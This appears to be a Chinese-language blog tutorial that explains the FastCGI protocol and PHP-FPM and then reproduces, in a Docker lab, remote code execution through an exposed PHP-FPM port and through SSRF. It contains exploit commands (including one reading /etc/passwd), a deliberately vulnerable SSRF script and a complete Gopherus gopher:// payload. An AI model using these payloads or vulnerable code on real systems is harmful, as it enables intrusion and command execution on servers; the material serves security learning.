Fastcgi协议与PHP-FPM 攻击方法

目录

1、CGI(Common Gateway Interface) 通用网关接口

2、FastCGI

3、浏览器访问网站的过程

3.1、浏览器访问静态资源

3.2、浏览器访问动态网页

4、Fastcgi 协议分析

4.1、Fastcgi Record

4.2 Fastcgi Type

5、PHP-FPM

6、PHP-FPM任意代码执行

7、PHP-FPM未授权访问漏洞

7.1 环境搭建

7.2 启动环境

7.3 利用github上的项目进行攻击

7.4 使用另外一个工具来尝试攻击

8 ssrf中队FPM/FastCGI的攻击

8.1 使用Gopherus进行攻击


 


1、CGI(Common Gateway Interface) 通用网关接口

最早的服务器只能够返回静态资源给浏览器。但这种方式满足不了人们的所有需求,于是出现了动态网站技术,但是Web服务器不能够直接解释执行动态脚本,于是人们为了能够让Web服务器与外部应用程序(CGI程序)互相通信。CGI通用网关接口应运而生。简单地说CGI就像是一种协议,这种协议规定了Web服务器和运行在Web服务器上的应用程序进行交流的方式。

当Web服务器需要解析动态脚本时,Web服务器会Fork一个新的进程来启动CGI成语完成动态脚本的解析执行,然后获取CGI程序的执行结果,获取到结果之后,把之前用来运行CGI程序的进行关闭。大家可以看出来,这种方式的效率非常低下。

2、FastCGI

解决了Web服务器与外部应用程序通信的问题,我们还需要高效率的执行动态脚本,于是Fast-CGI应运而生。FastCGI是CGI的改良版本,致力于减少Web服务器与CGI程序之间交互的开销,它每次处理完请求之后不会释放资源,而是保留资源以便下次继续使用。这样就不会有重复创建删除资源的消耗了。

3、浏览器访问网站的过程

3.1、浏览器访问静态资源

浏览器在访问静态网页时,会给Web服务器发送请求,然后Web服务器将其访问的静态资源返回给浏览器就完成了这个访问过程。

3.2、浏览器访问动态网页

当浏览器发送一个要访问动态网页的请求时,Web服务器根据浏览器的请求得知这不是一个静态页面,Web服务器就会去找php解析器来进行处理,他会简单的处理一下请求,然后将请求交给php解释器。当Web服务器收到浏览器请求index.php的请求时,他会启动对应的CGI程序,也就是php解析器,php解析器会解析php.ini文件,初始化执行环境,处理请求,然后再以CGI规定的格式返回处理后的结果,Web服务器把结果返回给浏览器。这就是一个完整的访问过程了。

4、Fastcgi 协议分析

4.1、Fastcgi Record

Fastcgi 其实是一个通信协议,和HTTP协议一样,都是进行数据交换的标准。

HTTP协议时浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某种规范组装成数据包,然后发送给服务器中间件,服务器中间件收到之后解包处理然后再按照HTTP协议的规范返回给浏览器。

与HTTP协议相似,Fastcgi协议是服务器中间件与某种语言的解释器之间通信的协议。Fastcgi协议由多个Record组成,Record也有Header和Body,服务器中间件按照Fastcgi的规则封装好数据然后发送给解释器,解释器处理完成后将结果返回给中间件。

Fastcgi Record的头固定8个字节,Body是由头中的contentLength指定的。其结构如下:

typedef struct {
  /* Header 消息头信息 */
  unsigned char version; // 用于表示 FastCGI 协议版本号
  unsigned char type; // 用于标识 FastCGI 消息的类型, 即用于指定处理这个消息的方法
  unsigned char requestIdB1; // 用ID值标识出当前所属的 FastCGI 请求
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // 数据包包体Body所占字节数
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 
  /* Body 消息主体 */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

头是八个uchar类型的变量组成。其中requestId占两个字节,避免多个请求之间的影响。contentLength占两个字节,表示Body的大小。

4.2 Fastcgi Type

Fastcgi Record头的第二个字节是type,type指定该Record的作用。因为Fastcgi中一个Record的大小是有限的,作用也是单一的,所以需要在一个TCP流里传输多个Record,通过type来标志每个Record的作用,并用requestId来标识同一个请求。即每个请求有多个Record他们的requestId是相同的。

下面是type值对应的含义。

type值含义

1

请求开始的第一个消息。
2异常断开通信。
3请求的最后一个消息。
4传递环境变量时,表名消息中包含数据为某个键值对。
5Web服务器将从浏览器接收到的POST请求数据以消息的形式发送给php-FPM
6正常响应消息。
7错误响应。

5、PHP-FPM

php-fpm 是FastCGI进程管理器,用于替换PHP FastCGI的大部分附加功能,对于高负载的网站是非常有用的。PHP-FPM默认监听的端口是9000端口。

即php-fpm是FastCGI的一个具体实现,并且提供了进程管理的功能。这其中的进程包含了master和worker进程,其中master进程负责与服务器中间件进行通信,将中间件发过来的请求转发给worker进程进行处理。worker进程主要负责后端动态执行PHP代码,处理完成后,将处理结果返回给Web服务器,再由Web服务器将结果发送给客户端。

当用户访问http://127.0.0.1/index.php?id=1&cmd=id时,index.php再服务器上的位置时/var/www/html/index.php,那中间件会将这个请求变成如下key-value的形式:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

可以看出这个数据就是php中 $_SERVER 数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充 $_SERVER 数组,还告诉fpm要执行的文件。

fpm拿到数据包进行解析,得到上述环境变量,然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php。但如果我们能够控制SCRIPT_FILENAME的值,不就可以让PHP_FPM执行服务器上任意的PHP文件了吗?

6、PHP-FPM任意代码执行

在php的配置项中,有两个包含文件的配置项:

  • auto_prepend_file:执行目标文件之前,先包含auto_prepend_file中指定的文件。
  • auto_append_file:执行玩目标文件后再包含auto_append_file指向的文件。

假设我们设置auto_prepend_file的值为php://input,那么等于在执行任何php文件前都要包含POST的内容。所以,只需要把需要执行的代码放在Body中,就能被执行了。(需要开启远程文件包含选项 allow_url_include)

那还有一个问题,就是我们需要设置auto_prepend_file的值,这里又涉及到PHP-FPM的两个环境变量,PHP_VALUE  和 PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL,PHP_ADMIN_VALUE可以设置所有选项。

所以,我们最后传入的就是如下的环境变量:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

7、PHP-FPM未授权访问漏洞

攻击者可以通过PHP_VALUE和PHP_ADMIN_VALUE 这两个环境变量设置PHP 配置PHP 配置选项 auto_prepend_file 和 allow_url_include ,从而使 PHP-FPM 执行我们提供的任意代码,造成任意代码执行。除此之外,由于 PHP-FPM 和 Web 服务器中间件是通过网络进行沟通的,因此目前越来越多的集群将 PHP-FPM 直接绑定在公网上,所有人都可以对其进行访问。这样就意味着,任何人都可以伪装成Web服务器中间件来让 PHP-FPM 执行我们想执行的恶意代码。这就造成了 PHP-FPM 的未授权访问漏洞。

下面搭建环境然后对PHP-FPM未授权访问漏洞进行复现。

7.1 环境搭建

我这边使用docker安装一个nginx与php所需环境。

Dockerfile如下,

FROM ubuntu:20.04

RUN apt-get update && apt-get install -y software-properties-common

RUN LC_ALL=C.UTF-8 add-apt-repository -y ppa:ondrej/php

RUN apt-get update && apt-get -y install php7.4

RUN apt-get update && apt-get -y install php7.4-fpm php7.4-mysql php7.4-curl php7.4-json php7.4-mbstring php7.4-xml  php7.4-intl

安装完成之后打开/etc/php/7.4/fpm/pool.d/www.conf文件找到如下位置并修改为如图所示的样子。

;listen = /run/php/php7.4-fpm.sock
listen = 0.0.0.0:9000

这样即可设置PHP-FPM的监听地址为0.0.0.0:9000,便会产生PHP-FPM未授权访问漏洞,此时攻击者可以直接与暴露在目标主机9000端口上的PHP-FPM进行通信,然后就可以实现任意代码执行了。

打开nginx配置文件  /etc/nginx/sites-available/default  做如下修改。

server {
        listen 80 default_server;
        listen [::]:80 default_server;
        root /var/www/html;

        # Add index.php to the list if you are using PHP
        # index index.html index.htm index.nginx-debian.html;

        server_name www.example.com;

        location / {
                # First attempt to serve request as file, then
                # as directory, then fall back to displaying a 404.
                index index.php;
                autoindex on;
                # try_files $uri $uri/ =404;
        }
        location ~ \.php$ {
        #       include snippets/fastcgi-php.conf;
        #
        #       # With php-fpm (or other unix sockets):
        #       fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
        #       # With php-cgi (or other tcp sockets):
        #       fastcgi_pass 127.0.0.1:9000;
                fastcgi_split_path_info ^(.+\.php)(/.+)$;
                fastcgi_pass 0.0.0.0:9000;

                fastcgi_index index.php;
                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                include fastcgi_params;
        }

        # deny access to .htaccess files, if Apache's document root
        # concurs with nginx's one
        #
        #location ~ /\.ht {
        #       deny all;
        #}
}

7.2 启动环境

先打开php-fpm,先使用whereis

启动后,启动nginx服务。

接下来查看一下启动的进程状态。

我们可以看到php-fpm有一个master进程,两个worker进程。

 

然后我们在/var/www/html/目录下添加index.php 内容就写,<?php phpinfo(); ?>,验证是否可用。

之后打开在浏览器输入IP应该出现如上图所示的界面。

7.3 利用github上的项目进行攻击

fcgi_exp.go链接

项目下载好之后,进入到webcgi-exploits/php/Fastcgi目录,新建一个fcgiclient目录,把fcgiclient.go 放入新建的 fcgiclient 目录中:

然后用下面的命令编译fcgi_exp.go文件,

go build fcgi_exp.go

然后开始攻击,发送下面的命令。

./fcgi_exp system 172.23.72.223 9000 /var/www/html/index.php "whoami"

可以看到我们获取到了一个权限不太高的用户权限。可以执行任意的命令。

其中各参数的含义如下

  • system 这个参数为我们想要php执行的函数。
  • 172.123.72.223 目标ip
  • 9000 目标机器fpm端口
  • /var/www/html/index.php 目标机上的php文件
  • whoami 要执行的命令。

7.4 使用另外一个工具来尝试攻击

fpm.py工具

fpm.py链接

我们使用下面的命令来利用工具,这个工具兼容python2和python3.

python fpm.py 172.23.72.223 /var/www/html/index.php -c "<?php system('cat /etc/passwd'); exit(); ?>"

利用成功。

8 ssrf中队FPM/FastCGI的攻击

很多时候PHP-FPM不会绑定在0.0.0.0上面,而是绑定在127.0.0.1,这样便避免了将PHP-FPM暴露在公网上被攻击者访问,但是如果目标主机上存在SSRF漏洞的话,我们便可以通过SSRF攻击内网PHP-FPM。

在目标的web目录下新建ssrf.php文件,写入下面存在ssrf漏洞的代码。

<?php
    highlight_file(__FILE__);
    $url = $_GET['url'];
    $curl = curl_init($url);    
    curl_setopt($curl, CURLOPT_HEADER, 0); 
    $responseText = curl_exec($curl);
    echo $responseText;
    curl_close($curl);
?> 

8.1 使用Gopherus进行攻击

 

Gopherus github地址

该工具可以生成Gopher有效负载,用来利用SSRF进行RCE:

这是一个python2的工具,因此要使用python2来运行。这里同样的要输入 我们已知目标机器上的一个php文件,还有要执行的命令。

我们获取到如图所示的payload

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

将上面的payload使用url编码再编码一次即可执行命令(这里需要二次编码是因为GET获取参数会进行一次解码,curl也会进行一次解码)。

 

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值